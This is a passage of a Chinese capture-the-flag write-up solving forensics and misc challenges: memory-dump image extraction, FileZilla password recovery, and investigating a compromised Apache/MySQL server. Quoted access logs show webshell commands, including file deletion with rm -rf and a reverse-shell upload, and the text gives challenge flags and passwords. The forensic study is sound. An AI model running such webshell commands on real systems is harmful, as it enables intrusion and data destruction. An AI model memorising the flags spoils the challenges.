min_size = int(PIXEL_DATA_SIZE - SIZE_TOLERANCE_MB * 1024 * 1024) export_count = 0
# 以四分之一数据大小作为步长,提高搜索精度 for offset in range(0, len(data), PIXEL_DATA_SIZE // 4):
raw_data = data[offset : offset + PIXEL_DATA_SIZE]
if len(raw_data) < min_size: continue
try: # 1. 将原始字节数据解释为图像 (BGRA) # 使用 'RGBA' 模式 img = Image.frombytes('RGBA', (TARGET_WIDTH, TARGET_HEIGHT), raw_data, 'raw', 'BGRA', 0, 1)
# 2. 强制不透明处理 (关键步骤!) # 分离 R, G, B, A 通道 r, g, b, a = img.split() # 创建一个新的 Alpha 通道,全部设置为 255 (完全不透明) new_a = Image.new('L', img.size, 255) # 重新合并 R, G, B, 新的 A 通道 img = Image.merge('RGBA', (r, g, b, new_a))
# 3. 垂直翻转:修复 GDI 常见的 Bottom-up 存储问题(实测不需要)# img = img.transpose(Image.FLIP_TOP_BOTTOM)
# 4. 保存为 PNG 文件 output_path = os.path.join(OUTPUT_DIR, f"mspaint_2624_0x{offset:x}_fixed.png") img.save(output_path)
print(f"[SUCCESS] 成功导出图片 (偏移: 0x{offset:x}),已强制不透明: {output_path}") export_count += 1
except Exception as e: # print(f"[-] 偏移 0x{offset:x} 处数据转换失败: {e}") continue
return export_count > 0
# --- 主逻辑 ---
if __name__ == "__main__": if not os.path.exists(DUMP_FILE_PATH): print(f"[ERROR] 找不到转储文件: {DUMP_FILE_PATH}") exit(1)
if not os.path.exists(OUTPUT_DIR): os.makedirs(OUTPUT_DIR)
print(f"[*] 正在读取内存转储文件: {DUMP_FILE_PATH}") with open(DUMP_FILE_PATH, 'rb') as f: memory_data = f.read() print(f"[*] 文件读取完毕 ({len(memory_data) / 1024 / 1024:.2f} MB)")
found_raw = search_and_extract_raw(memory_data)
if not found_raw: print("\n[INFO] 未能通过原始数据块匹配导出任何图片。") else: print("\n[DONE] 所有匹配的数据块均已导出。请检查 'extracted_images_fixed' 文件夹中的 PNG 文件。")
解压得到flag.txt
flag{1z_volatility_F0r3ns1c5}[Week3] 爱茂TV
Info: 题组: Forensics - 爱茂TV (已完成 2/10)Info: [✔] 0. 机主使用的用户名flag{hajimi}
Info: [.] 格式:形如 flag{114514} 的字符串,全部小写Info: [-] 1. 机主用户信息中隐藏的 Flag(按原样提交获取到的内容)/etc/passwdflag{I_l0v3_M4od1e}
Info: [-] 2. 机主最近自行安装字体的家族名称Info: [.] 格式:形如 flag{114514} 的字符串,全部小写HarmonyOS_SansSCflag{harmonyos_sanssc}flag{harmonyos_sans}flag{鸿蒙黑体}
Info: [✔] 3. 机主使用的 FTP 传输工具(全小写不含扩展名)flag{filezilla}
Info: [-] 4. 机主使用这个工具登录了一个外网服务器,请找出其 IP 地址与密码Info: [.] 格式:flag{IP地址$密码},形如 flag{114.514.19.19$810}
<?xml version="1.0" encoding="UTF-8"?><FileZilla3 version="3.68.1" platform="*nix"> <RecentServers> <Server> <Host>192.168.233.1</Host> <Port>21</Port> <Protocol>0</Protocol> <Type>0</Type> <User>hajimi</User> <Pass encoding="base64">MTE0NTE0</Pass> <Logontype>1</Logontype> <PasvMode>MODE_DEFAULT</PasvMode> <EncodingType>Auto</EncodingType> <BypassProxy>0</BypassProxy> </Server> <Server> <Host>112.2.196.181</Host> <Port>21</Port> <Protocol>0</Protocol> <Type>0</Type> <User>hajimi</User> <Pass encoding="base64">MTE0X1M0ZjNQd2RfNTE0</Pass> <Logontype>1</Logontype> <PasvMode>MODE_DEFAULT</PasvMode> <EncodingType>Auto</EncodingType> <BypassProxy>0</BypassProxy> </Server> <Server> <Host>192.168.233.128</Host> <Port>21</Port> <Protocol>0</Protocol> <Type>0</Type> <User>hajimi</User> <Pass encoding="base64">MTE0NTE0</Pass> <Logontype>1</Logontype> <PasvMode>MODE_DEFAULT</PasvMode> <EncodingType>Auto</EncodingType> <BypassProxy>0</BypassProxy> </Server> <Server> <Host>127.0.0.1</Host> <Port>21</Port> <Protocol>0</Protocol> <Type>0</Type> <User>hajimi</User> <Pass encoding="base64">MTE0NTE0</Pass> <Logontype>1</Logontype> <PasvMode>MODE_DEFAULT</PasvMode> <EncodingType>Auto</EncodingType> <BypassProxy>0</BypassProxy> </Server> </RecentServers></FileZilla3>
外网flag{112.2.196.181$114_S4f3Pwd_514}
Info: [-] 5. 机主对外通信使用的邮箱地址flag{praxoppogrebro-5874@yopmail.net}
cat ./home/hajimi/.mozilla/firefox/djexozqp.default-esr/extension-settings.json# 在 profile 目录统计所有出现过的邮箱并按次数排序(便于优先判断)grep -RIna --binary-files=without-match -E "\b[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\.[A-Za-z]{2,}\b" . 2>/dev/null \ | grep -o -E "\b[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\.[A-Za-z]{2,}\b" | sort | uniq -c | sort -nr | sed -n '1,50p'
Info: [-] 6. "加速器安装程序"的 MD5 值(全小写)flag{7ce89dbb371ae598702e111cede3d75a}
Info: [-] 7. "加速器安装程序"释放的文件中,有一个是端口扫描程序经重命名而成,请找出其文件名与原程序名。Info: [.] 格式:flag{文件名#原程序名}flag{ls#fscan}
Info: [-] 8. "加速器安装程序"中的哪一行命令导致机主无法正常登录图形界面Info: [.] 格式:flag{一行内的完整命令}flag{systemctl disable lightdm >/dev/null 2>&1 || true}
Info: [-] 9. Shell 无法使用是由于什么文件被修改了?机主依然能使用哪些 Shell 登录(按字母序列出可执行文件名)?Info: [.] 格式:flag{文件#shellA#shellB#...},使用#分隔flag{/etc/bash.bashrc#dash#sh}
chao@kali:/Users/chao/tmp/ctf/forensics/[Week3] 爱茂TV/mnt$ sed -n '1,120p' ./etc/shells# /etc/shells: valid login shells/bin/sh/usr/bin/sh/bin/bash/usr/bin/bash/bin/rbash/usr/bin/rbash/usr/bin/dash
chao@kali:/Users/chao/tmp/ctf/forensics/[Week3] 爱茂TV/mnt$ find home -type f -iname "sitemanager.xml" -o -iname "*filezilla*" 2>/dev/nullhome/hajimi/.cache/filezillahome/hajimi/文档/filezilla.log[Week4] 安卓服务?安卓人?
我炒,Arch!不过uuid变了还得手动改fstab
zen内核,有品!
先看小作文:
你好🍎人[root@arch chenfeng]# cat Documents/diary-chenfeng.md# 澄峰建站日记
## 2025-10-08
有个工作上的同事看我在做祝福视频,说订单收入还是在用电子表格去记不是很好,建议我搞个“全栈”网页。说是不仅方便管理,还有助于宣传涨热度...我问他能不能帮我做,他却回道“真做不出苹果项目”。
切,不就是看我火了嫉妒不想帮我做呗——你们这群安卓素质、安卓语法、安卓态度的安卓人真是够了,我还巴不得呢。听说 AI 啥的做这东西很专业,只需要写几句话就能出一个项目,我倒来试试看。
## 2025-10-10
可惜我有点拖延症,不过这 Copilot 真是帮了大忙,不出几轮对话就把项目生成出来了。接下来是要配环境,按 AI 说的要搞一个 LAMP 栈,估计还要一段时间。
## 2025-10-12
尝试着按网上的文档配了网站,结果移动的时候提示权限不足。
我就纳闷了,一个只有本地用户才能访问的服务器目录设置这么复杂的权限干什么?这一定是安卓开发者的阴谋!我把它改成 777 了,看你还怎么报错。
## 2025-10-14
配置 Apache 服务,几度要飞升。
先是访问子目录报 404,AI 说要用 vhost,结果这样一下来全都访问不了;数据库也是,一行一行敲的创建表代码,到访问的时候怎么会出问题?!AI 也行不通吗?安卓 AI。同事见我搞两个多小时红温了,才笑嘻嘻地过来教我改权限...什么安卓态度,搞得我好像不会自己做一样。
真是越想越来气,这些软件的开发者用的配置文件五花八门,文档也生硬晦涩,怕我们苹果人看不懂,这样就好低声下气问他们??安卓服务!不,我的服务才不会是安卓服务。我们苹果人搭起来的服务必定是苹果服务。
## 2025-10-15
我不管了。今晚!这个属于我的苹果服务就要上线。不计一切代价,*安卓人除外*。
不过现有的数据量还是不够多,我得生成一些,不然也太冷清了。
**更新:**那个房管怎么知道我这服务的?!坏事了,这留言删都删不掉...算是记住你了;;不过你虚报一千什么意思??!
**更新:**想来想去这个本月开销还是把前面一段时间的收支补上去好了,看着也显得我澄峰不是一般人,嘿嘿 我就是苹果人,不接受反驳。
## 2025-10-16
卧槽,我的赞助记录怎么全没了?订单记录也一团糟!傻了傻了,得赶快请个高人。
**更新:**想来想去还是睡不着,这么苹果的服务是怎么被攻击到的...也许我并不是100%的苹果人吧。
**更新:**质疑这个服务存在的意义了。删几个文件以儆效尤。Info: 欢迎来到 ?CTF 2025 Android Platform!目前有 1 个题组。Info: 初来乍到,输入 help 获取使用帮助。NekoChecker [/] > show 0Info: 题组: Forensics - 安卓服务?安卓人? (已完成 0/10)
Info: [-] 0. 攻击事件发生在外网(WAN)还是内网(LAN)?并指出被攻击机器在网络的IPInfo: [.] 格式:flag{答案1#1.1.1.1},第一个问题使用 `WAN` / `LAN` 回答flag{LAN#192.168.119.139}✅
Info: [-] 1. 网页服务器连接使用的用户、密码与数据库名称Info: [.] 格式:flag{用户名:密码@数据库名称}flag{chenfeng:pingguochenfeng@chenfeng-db}✅
Info: [-] 2. Web服务于受攻击时段启动与关闭的时间Info: [.] 格式:flag{hh:mm:ss-hh:mm:ss}flag{20:00:08-22:31:11}✅
Info: [-] 3. 攻击者利用最多的 WebShell 文件名与连接密码Info: [.] 格式:flag{filename.php&password}flag{gift.php&chenfeng}✅
Info: [-] 4. 攻击者未能获得后端源码的原因是权限不对,找出攻击者试图访问时使用的用户名与未能访问目录的权限Info: [.] 格式:flag{username#%%%},%代表一位数字flag{http#700}✅
Info: [-] 5. 对数据库做出破坏的攻击者IP与可能执行的SQL语句Info: [.] 格式:flag{1.1.1.1#command object},SQL语句指令全小写且只有一行,无尾随分号flag{192.168.119.1#drop table sponsorship}✅
Info: [-] 6. 扣除可能的欠款后,澄峰的收入与支出总和(一个有符号数)-54552 欠2000(3000里虚报了1000)flag{-56552}✅
Info: [-] 7. 数据库现存内容中的flagflag{W3_w0uld_bec0me_fr1eNds_@ga1n}✅
Info: [-] 8. 除去赞助收入,澄峰的第一大收入来源与数额Info: [.] 格式:flag{source#amount}flag{直播间礼物#228220}✅
Info: [-] 9. 澄峰崩溃至极,使用了工具来深度删除文件,他使用了什么命令实现这一点Info: [.] 格式:flag{命令}flag{shred -uz .bash_history}✅简单探索,这个.viminfo很好用
你好🍎人[root@arch ~]# cat .viminfo> /etc/httpd/conf/httpd.conf * 1760529606 0 " 231 0 ^ 231 1 . 231 0 + 52 0 + 231 0你好🍎人[root@arch ~]# ls你好🍎人[root@arch ~]# cat /etc/httpd/conf/httpd.conf
<IfModule ssl_module>SSLRandomSeed startup builtinSSLRandomSeed connect builtin</IfModule>
IncludeOptional conf/conf.d/*.conf
Include conf/extra/php-fpm.conf
ProxyPreserveHost On ProxyTimeout 60
# 将 /api 转发到 127.0.0.1:5174(你的 FastAPI) ProxyPass /api/ http://127.0.0.1:5174/api/ retry=0 ProxyPassReverse /api/ http://127.0.0.1:5174/api/
# 可选:为静态资源添加缓存头 <FilesMatch "\\.(js|css|png|jpg|jpeg|gif|svg|ico)$"> Header set Cache-Control "public, max-age=31536000, immutable" </FilesMatch>
# History of marks within files (newest to oldest):
> /etc/httpd/conf/httpd.conf * 1760367950 0 " 288 20 ^ 288 21
> /var/log/httpd/error_log * 1760367793 0 " 917 0
> /var/log/httpd/access_log * 1760367775 0 " 277 0
> ~/Desktop/cfvideo/apps/python-server/start.sh * 1760359706 0 " 9 29 ^ 8 2 . 8 1 + 9 51 + 8 1
> /srv/http/test.php * 1760352730 0 " 2 0 ^ 2 0 . 1 19 + 1 19
> /etc/bash.bashrc * 1760332289 0 " 12 47 ^ 12 48
> /etc/bash.bash * 1760331537 0 " 1 0
你好🍎人[root@arch chenfeng]# cat /home/chenfeng/Desktop/cfvideo/apps/python-server/start.sh#!/bin/bash# Python 后端服务启动脚本 (Unix/Linux/macOS)
# 切换到脚本所在目录cd "$(dirname "$0")"
echo "启动 Python FastAPI 服务..."# python3 run.pyuvicorn main:app --host 0.0.0.0 --port 5174 --reload
你好🍎人[chenfeng@arch ~]$ cat mount-shared.sh#!/bin/bash
sudo /usr/bin/vmhgfs-fuse .host:/ /home/chenfeng/shares -o subtype=vmhgfs-fuse,allow_other
你好🍎人[chenfeng@arch ~]$ cat /etc/bash.bashrc## /etc/bash.bashrc#
# If not running interactively, don't do anything[[ $- != *i* ]] && return
# Prevent doublesourcingif [[ -z "${BASHRCSOURCED}" ]] ; then BASHRCSOURCED="Y" # the check is bash's default value [[ "$PS1" = '\s-\v\$ ' ]] && PS1='你好🍎人[\u@\h \W]\$ ' case ${TERM} in Eterm*|alacritty*|aterm*|foot*|gnome*|konsole*|kterm*|putty*|rxvt*|tmux*|xterm*) PROMPT_COMMAND+=('printf "\033]0;%s@%s:%s\007" "${USER}" "${HOSTNAME%%.*}" "${PWD/#$HOME/\~}"') ;; screen*) PROMPT_COMMAND+=('printf "\033_%s@%s:%s\033\\" "${USER}" "${HOSTNAME%%.*}" "${PWD/#$HOME/\~}"') ;; esacfi
if [[ -r /usr/share/bash-completion/bash_completion ]]; then . /usr/share/bash-completion/bash_completionfi看access_log大概可以看出来传了个一句话
192.168.119.128 - - [15/Oct/2025:21:37:16 +0800] "GET /uploads/gift.php HTTP/1.1" 500 -192.168.119.128 - - [15/Oct/2025:21:37:16 +0800] "GET /uploads/gift.php HTTP/1.1" 500 -192.168.119.128 - - [15/Oct/2025:21:37:17 +0800] "GET /uploads/gift.php HTTP/1.1" 500 -192.168.119.128 - - [15/Oct/2025:21:38:40 +0800] "GET /uploads/gift.php?chenfeng=114 HTTP/1.1" 200 -192.168.119.1 - - [15/Oct/2025:21:39:23 +0800] "POST / HTTP/1.1" 200 411192.168.119.1 - - [15/Oct/2025:21:39:46 +0800] "POST / HTTP/1.1" 200 411192.168.119.1 - - [15/Oct/2025:21:39:49 +0800] "POST / HTTP/1.1" 200 411192.168.119.1 - - [15/Oct/2025:21:39:51 +0800] "POST / HTTP/1.1" 200 411192.168.119.128 - - [15/Oct/2025:21:42:56 +0800] "GET /uploads/gift.php?chenfeng=ls HTTP/1.1" 200 58192.168.119.128 - - [15/Oct/2025:21:43:06 +0800] "GET /uploads/gift.php?chenfeng=ls%20.. HTTP/1.1" 200 26192.168.119.128 - - [15/Oct/2025:21:43:10 +0800] "GET /uploads/gift.php?chenfeng=ls%20../.. HTTP/1.1" 200 9192.168.119.128 - - [15/Oct/2025:21:43:16 +0800] "GET /uploads/gift.php?chenfeng=ls%20/ HTTP/1.1" 200 99192.168.119.1 - - [15/Oct/2025:21:43:33 +0800] "POST / HTTP/1.1" 200 411192.168.119.1 - - [15/Oct/2025:21:43:44 +0800] "POST /uploads/gift.php HTTP/1.1" 500 -192.168.119.1 - - [15/Oct/2025:21:43:54 +0800] "POST /uploads/gift.php HTTP/1.1" 500 -192.168.119.1 - - [15/Oct/2025:21:44:11 +0800] "POST /uploads/gift.php HTTP/1.1" 500 -192.168.119.1 - - [15/Oct/2025:21:44:12 +0800] "POST /uploads/gift.php HTTP/1.1" 500 -192.168.119.1 - - [15/Oct/2025:21:44:15 +0800] "POST /uploads/gift.php HTTP/1.1" 500 -192.168.119.1 - - [15/Oct/2025:21:44:17 +0800] "POST /uploads/gift.php HTTP/1.1" 500 -192.168.119.1 - - [15/Oct/2025:21:44:32 +0800] "POST /uploads/gift.php HTTP/1.1" 500 -192.168.119.1 - - [15/Oct/2025:21:45:13 +0800] "POST /uploads/gift.php HTTP/1.1" 500 -192.168.119.1 - - [15/Oct/2025:21:45:25 +0800] "POST /uploads/gift.php HTTP/1.1" 500 -192.168.119.1 - - [15/Oct/2025:21:45:36 +0800] "POST /uploads/gift.php HTTP/1.1" 500 -192.168.119.1 - - [15/Oct/2025:21:45:41 +0800] "POST /uploads/gift.php HTTP/1.1" 500 -192.168.119.1 - - [15/Oct/2025:21:46:20 +0800] "GET / HTTP/1.1" 304 -192.168.119.1 - - [15/Oct/2025:21:46:20 +0800] "GET /api/requests HTTP/1.1" 200 1817192.168.119.1 - - [15/Oct/2025:21:47:29 +0800] "POST /api/requests HTTP/1.1" 200 11192.168.119.1 - - [15/Oct/2025:21:47:29 +0800] "GET /api/requests HTTP/1.1" 200 1990192.168.119.1 - - [15/Oct/2025:21:47:39 +0800] "POST /uploads/video.php HTTP/1.1" 200 -192.168.119.1 - - [15/Oct/2025:21:47:44 +0800] "POST /uploads/video.php HTTP/1.1" 200 -192.168.119.128 - - [15/Oct/2025:21:48:30 +0800] "GET /uploads/gift.php?chenfeng=ls%20/home HTTP/1.1" 200 9192.168.119.128 - - [15/Oct/2025:21:48:33 +0800] "GET /uploads/gift.php?chenfeng=ls%20/home/chenfeng HTTP/1.1" 200 -192.168.119.128 - - [15/Oct/2025:21:48:39 +0800] "GET /uploads/gift.php?chenfeng=ls%20/ HTTP/1.1" 200 99192.168.119.128 - - [15/Oct/2025:21:48:57 +0800] "GET /uploads/gift.php?chenfeng=ls%20/srv HTTP/1.1" 200 9192.168.119.128 - - [15/Oct/2025:21:49:00 +0800] "GET /uploads/gift.php?chenfeng=ls HTTP/1.1" 200 68192.168.119.128 - - [15/Oct/2025:21:50:08 +0800] "GET /uploads/gift.php?chenfeng=ls HTTP/1.1" 200 68192.168.119.128 - - [15/Oct/2025:21:52:07 +0800] "POST /api/requests HTTP/1.1" 200 11192.168.119.128 - - [15/Oct/2025:21:52:07 +0800] "GET /api/requests HTTP/1.1" 200 2160192.168.119.128 - - [15/Oct/2025:21:52:22 +0800] "GET /uploads/php-reverse-shell.php HTTP/1.1" 200 -192.168.119.128 - - [15/Oct/2025:21:52:27 +0800] "GET /uploads/php-reverse-shell.php HTTP/1.1" 200 -192.168.119.128 - - [15/Oct/2025:21:53:20 +0800] "GET /uploads/gift.php?chenfeng=ls%20.. HTTP/1.1" 200 26192.168.119.128 - - [15/Oct/2025:21:53:33 +0800] "GET /uploads/gift.php?chenfeng=cat%20../index.html HTTP/1.1" 200 411192.168.119.128 - - [15/Oct/2025:21:53:44 +0800] "GET /uploads/gift.php?chenfeng=ls%20.. HTTP/1.1" 200 26192.168.119.128 - - [15/Oct/2025:21:54:06 +0800] "GET /uploads/gift.php?chenfeng=rm%20-rf%20../assets HTTP/1.1" 200 -192.168.119.128 - - [15/Oct/2025:21:54:10 +0800] "GET /uploads/gift.php?chenfeng=ls%20.. HTTP/1.1" 200 26192.168.119.128 - - [15/Oct/2025:21:54:21 +0800] "GET /uploads/gift.php?chenfeng=ls%20/var HTTP/1.1" 200 63192.168.119.128 - - [15/Oct/2025:21:54:32 +0800] "GET /uploads/gift.php?chenfeng=whoami HTTP/1.1" 200 5192.168.119.1 - - [15/Oct/2025:21:54:46 +0800] "POST /api/admin/query HTTP/1.1" 200 2160192.168.119.1 - - [15/Oct/2025:21:55:02 +0800] "POST /api/admin/query HTTP/1.1" 500 147192.168.119.1 - - [15/Oct/2025:21:55:39 +0800] "POST /api/admin/query HTTP/1.1" 200 50741192.168.119.1 - - [15/Oct/2025:21:56:44 +0800] "POST /api/admin/query HTTP/1.1" 500 199192.168.119.1 - - [15/Oct/2025:21:56:47 +0800] "POST /api/admin/query HTTP/1.1" 200 21395192.168.119.1 - - [15/Oct/2025:21:57:24 +0800] "POST /api/admin/query HTTP/1.1" 500 318192.168.119.1 - - [15/Oct/2025:21:57:53 +0800] "POST /api/admin/query HTTP/1.1" 500 87192.168.119.1 - - [15/Oct/2025:21:58:10 +0800] "GET /api/sponsorship HTTP/1.1" 500 21192.168.119.1 - - [15/Oct/2025:21:58:15 +0800] "GET /api/users HTTP/1.1" 500 21192.168.119.1 - - [15/Oct/2025:21:58:16 +0800] "GET /api/requests HTTP/1.1" 200 2160192.168.119.1 - - [15/Oct/2025:21:58:19 +0800] "GET /api/budget HTTP/1.1" 200 48866192.168.119.1 - - [15/Oct/2025:21:58:30 +0800] "GET /admin/114 HTTP/1.1" 304 -192.168.119.1 - - [15/Oct/2025:21:58:30 +0800] "GET /api/users HTTP/1.1" 500 21192.168.119.1 - - [15/Oct/2025:21:58:31 +0800] "POST /api/admin/query HTTP/1.1" 200 2160192.168.119.1 - - [15/Oct/2025:21:59:05 +0800] "GET /api/budget/info HTTP/1.1" 200 30192.168.119.1 - - [15/Oct/2025:21:59:09 +0800] "POST /api/sponsorship HTTP/1.1" 500 21192.168.119.128 - - [15/Oct/2025:22:17:26 +0800] "GET /uploads/gift.php?chenfeng=id HTTP/1.1" 200 42192.168.119.1 - - [15/Oct/2025:22:28:30 +0800] "GET /uploads/.face HTTP/1.1" 200 411192.168.119.1 - - [15/Oct/2025:22:28:37 +0800] "GET /uploads/gift.php HTTP/1.1" 500 -192.168.119.1 - - [15/Oct/2025:22:28:43 +0800] "GET /uploads/gift.php?chenfeng=ls HTTP/1.1" 200 90192.168.119.1 - - [15/Oct/2025:22:28:53 +0800] "GET /uploads/gift.php?chenfeng=cat%201799B235A5DBBB926E4C0A1860343BE5.jpg%20|%20base64 HTTP/1.1" 200 143877192.168.119.1 - - [15/Oct/2025:22:29:55 +0800] "POST /api/requests HTTP/1.1" 200 11192.168.119.1 - - [15/Oct/2025:22:29:55 +0800] "GET /api/requests HTTP/1.1" 200 2816用得最多的就是这个了吧 /uploads/gift.php?chenfeng=
看源码找到下列内容,主要关注mysql,弱密码应该是攻击者的入口:
MYSQL_URL = "mysql+pymysql://chenfeng:pingguochenfeng@127.0.0.1:3306/chenfeng-db"
if username == "admin" and password == "123456": return {"success": True}虚拟机跑不起来,chroot进去直接启动sql
mkdir -p /run/mysqldchown mysql:mysql /run/mysqldchmod 755 /run/mysqld/usr/bin/mysqld --skip-networking --user=mysql &
这里我是直接dump出来,然后就可以在.sql文件里复制账单了。
from collections import defaultdict
data = [(1,'苹果赞助',1000,'2025-10-15 19:38:28.858'),(2,'苹果赞助',514,'2025-10-15 19:39:06.000'),(3,'苹果赞助',5900,'2025-10-15 19:39:24.924'),(4,'视频订单',200,'2025-10-15 19:42:57.673'),(5,'视频订单',1000,'2025-10-15 19:52:03.451'),(6,'视频订单',200,'2025-10-15 20:04:58.023'),(7,'视频订单',0,'2025-10-15 20:20:04.795'),(8,'购买力测评',-100,'2025-10-07 11:45:14.000'),(9,'工作室设备',-7500,'2025-10-01 15:31:39.000'),(10,'未成年退款',-100,'2025-10-04 11:00:07.000'),(11,'未成年退款',-50,'2025-10-04 14:22:33.000'),(12,'给亲戚红包',-500,'2025-10-04 12:00:00.000'),(13,'拼手气红包',250,'2025-10-01 00:00:04.000'),(14,'代理',-99,'2025-10-01 15:30:21.000'),(15,'未成年退款',-666,'2025-10-02 02:25:57.000'),# 后续省略,复制过来就好了]
# 初始化一个字典来存储每个类别的总额category_totals = defaultdict(int)
# 遍历数据并按类别汇总金额for _, category, amount, _ in data: category_totals[category] += amount
# 打印结果,并按总额降序排列for category, total in sorted(category_totals.items(), key=lambda item: item[1], reverse=True): print(f"{category}: {total}")
# 计算总结余,即所有第三项金额的总和total_balance = sum(item[2] for item in data)
print(f"总的结余是: {total_balance}")输出结果:
直播间礼物: 228220苹果赞助: 121492视频订单: 1400拼手气红包: 250代理: -99 (哈哈哈哈哈户子果然买代理)购买力测评: -100 (好好好)给亲戚红包: -500工作室设备: -7500未成年退款: -397715 (蛙趣)总的结余是: -54552 (有点可怜)看启动关闭时间可以这样,关注Oct 15那段就可以了
你好🍎人[root@arch /]# grep -i "resuming normal operations\|shutting down\|SIGHUP" /var/log/httpd/error_log[Wed Oct 15 20:00:08.916728 2025] [mpm_event:notice] [pid 9589:tid 9589] AH00489: Apache/2.4.65 (Unix) configured -- resuming normal operations[Wed Oct 15 22:31:11.834725 2025] [mpm_event:notice] [pid 9589:tid 9589] AH00491: caught SIGTERM, shutting down[Thu Oct 16 00:59:04.270264 2025] [mpm_event:notice] [pid 489:tid 489] AH00489: Apache/2.4.65 (Unix) configured -- resuming normal operations[Thu Oct 16 01:10:45.300865 2025] [mpm_event:notice] [pid 489:tid 489] AH00491: caught SIGTERM, shutting down[Fri Oct 17 00:31:33.409034 2025] [mpm_event:notice] [pid 488:tid 488] AH00489: Apache/2.4.65 (Unix) configured -- resuming normal operations[Fri Oct 17 00:37:51.587587 2025] [mpm_event:notice] [pid 488:tid 488] AH00491: caught SIGTERM, shutting down[Fri Oct 17 00:40:02.828664 2025] [mpm_event:notice] [pid 484:tid 484] AH00489: Apache/2.4.65 (Unix) configured -- resuming normal operations[Fri Oct 17 00:45:03.988453 2025] [mpm_event:notice] [pid 484:tid 484] AH00491: caught SIGTERM, shutting down也可以用journalctl:
journalctl -u httpd.service --since "2025-10-15 00:00:00" --until "2025-10-17 23:59:59"
misc
[Week1] 《关于我穿越到CTF的异世界这档事:序》
{ '?': 0, 'C': 1, 'F': 3, 'T': 2, 'c': 7, 'i': 5, 'm': 4, 's': 6}
ZmxhZ3tUaDNfUHIxbmMxcGwzXzBmX0Jhc2VfMXNfUzBfRXp6fQ==
flag{Th3_Pr1nc1pl3_0f_Base_1s_S0_Ezz}[Week1] 俱乐部之旅(1) - 邀请函
unzip -v 200302_Try_t0_f1nd_My_s3cret.zipArchive: 200302_Try_t0_f1nd_My_s3cret.zipc5im???? Length Method Size Cmpr Date Time CRC-32 Name-------- ------ ------- ---- ---------- ----- -------- ---- 12507 Defl:N 10689 15% 08-13-2025 18:02 eb7bd9a2 steg.docx-------- ------- --- ------- 12507 10689 15% 1 file猜测**c5im????**为密码格式,archpr爆破得到密码c5im8467。解压得到一个损坏的docx,点击修复,全选复制,粘贴到别处发现:
Office Open XML(缩写:Open XML或OOXML),为由Microsoft开发的一种以XML为基础并以ZIP格式压缩的电子文件规范,支持文件、表格、备忘录、幻灯片等文件格式。
OOXML在2006年12月成为了ECMA规范的一部分,编号为ECMA-376;并于2008年4月通过国际标准化组织的表决,在两个月后公布为ISO/IEC 29500国际标准。微软推出这个格式,很多人认为是出于商业考量。许多专家指出,该标准并不是个完整的标准,采用了许多微软的独有规格,使用上困难重重。
从Microsoft Office 2007开始,Office Open XML文件格式已经成为Microsoft Office默认的文件格式。Microsoft Office 2010支持对ECMA-376标准文档的读操作,ISO/IEC 29500 Transitional的读/写,ISO/IEC 29500 Strict的读取。Microsoft Office 2013同时支持ISO/IEC 29500 Strict的读写操作。那么既然提到了zip,把docx改为zip解压。查看core.xml
<dc:description>11001101101100110000111001111111011101011101100001110010110010010111110110101111010001100111100111101111111010011110011101111101100011111010</dc:description><cp:keywords>do u know cyberchef?</cp:keywords><cp:lastModifiedBy>炙恕qwq</cp:lastModifiedBy><dcterms:modified xsi:type="dcterms:W3CDTF">2025-08-13T09:59:15Z</dcterms:modified><dc:title>标准ASCII码使用7位二进制数表示字符</dc:title>得到前半部分flag{W0rd_5t3g_is_1z
查看steg/word/u_f0und_m3,得到2657656c63306d655f74305f7468335f6335696d5f433175627d,丢到cyberchef
得到后半部分**&Welc0me_t0_th3_c5im_C1ub}**
拼接得到完整flag:flag{W0rd_5t3g_is_1z&Welc0me_t0_th3_c5im_C1ub}
[Week1] 维吉尼亚朋友的来信
你的维吉尼亚朋友向你来信,奇怪的是你却收到了一个音频,你用眼睛仔细去听,发现信件从深处的声音中来…
用deepsound打开,提取到:
Gieg fsq sulirs, Osfprpi xd lvy gkumpaaba jruph dx QNS!Wkmw xkb’n wxvx e vsay—vw’v e tasmaerxrh lzslr fxvmdkwnl phixh uvuyohrkt, ovyeh hzigq zcah rj gdvs, yihuc lxvrya foyi, pfr yihuc tjrnfr krphh s gypuhx apahcaj ws ft mbwbyhvis. Zslr, bry’pa khlrwfl cdmf gvqg, pipjb nb vhi tplhyeqv mr rzoif, dqh xjjb "C qrq’x ocgk" cawr "M jxyilrg lx sjl." Ria’w zsvgq wz gklrkh xsyy ryivlzsfzlqk ei xwlfw. Zi’zt szf ohhr xwwfy—fwdvmcy on n susfawa, mpudxgwaba bxu lipvg, qbqgivxfu quhui xd khuew. Eyx izon’f wki qpyww bi lx: ikwfs zlvxezw wm n ohwwdf, sprub wqpdz qvq d vyhz. Ohq bry’vt fcn norri. Izwm prpqycahs gkumztk ch propeqgfuglrr, sc kvuelqk mswom, nqg pmulwht hdgl dlvye xs. Ws sajy vq. Hbtagfy. Rasivxeshg. Dvo ujwgnvrqw. Gtdsvedwi xww hcab ymgigfcrv, drh sgb’n shdv xww gnhpepih. Lvy PWI asgdr cf eumkwlsl jlwl cdm wh vw, drh lw qua’w zemi lc mrh zligw mihu msygfss gdniw ngi.Zydj mw "umbhl ohxxtj hi lrx". Vibwavru zvee lvy sodk gdfhyaw lr jasu{} uag xwi jfryeolri‘_' ig fycodgi hhowr fkevpuhye' '.
Ehwx lagbrv!题目名称就给了提示:维吉尼亚密码。密钥是deepsound,没意识到可以问GPT,显然jasu->flag。只能说,GPT-5还是太强了。
Dear new friend, Welcome to the thrilling world of CTF!This isn’t just a game—it’s a playground where curiosity meets challenge, where every line of code, every hidden clue, and every puzzle holds a secret waiting to be uncovered. Here, you’ll stretch your mind, learn to see patterns in chaos, and turn "I don’t know" into "I figured it out." Don’t worry if things feel overwhelming at first. We’ve all been there—staring at a problem, scratching our heads, wondering where to start. But that’s the magic of it: every mistake is a lesson, every small win a rush. And you’re not alone. This community thrives on collaboration, on sharing ideas, and lifting each other up. So dive in. Explore. Experiment. Ask questions. Celebrate the tiny victories, and don’t fear the stumbles. The CTF world is brighter with you in it, and we can’t wait to see where your journey takes you.Flag is "funny letter to you". Remember wrap the flag content in flag{} and use underline‘_' to replace space character' '.
Best wishes!flag{funny_letter_to_you}[Week2] 《关于我穿越到CTF的异世界这档事:破》
用户:ctf,密码:CtfP@ssw0rd!2025 ok ssh连上,发现是
Ubuntu 22.04
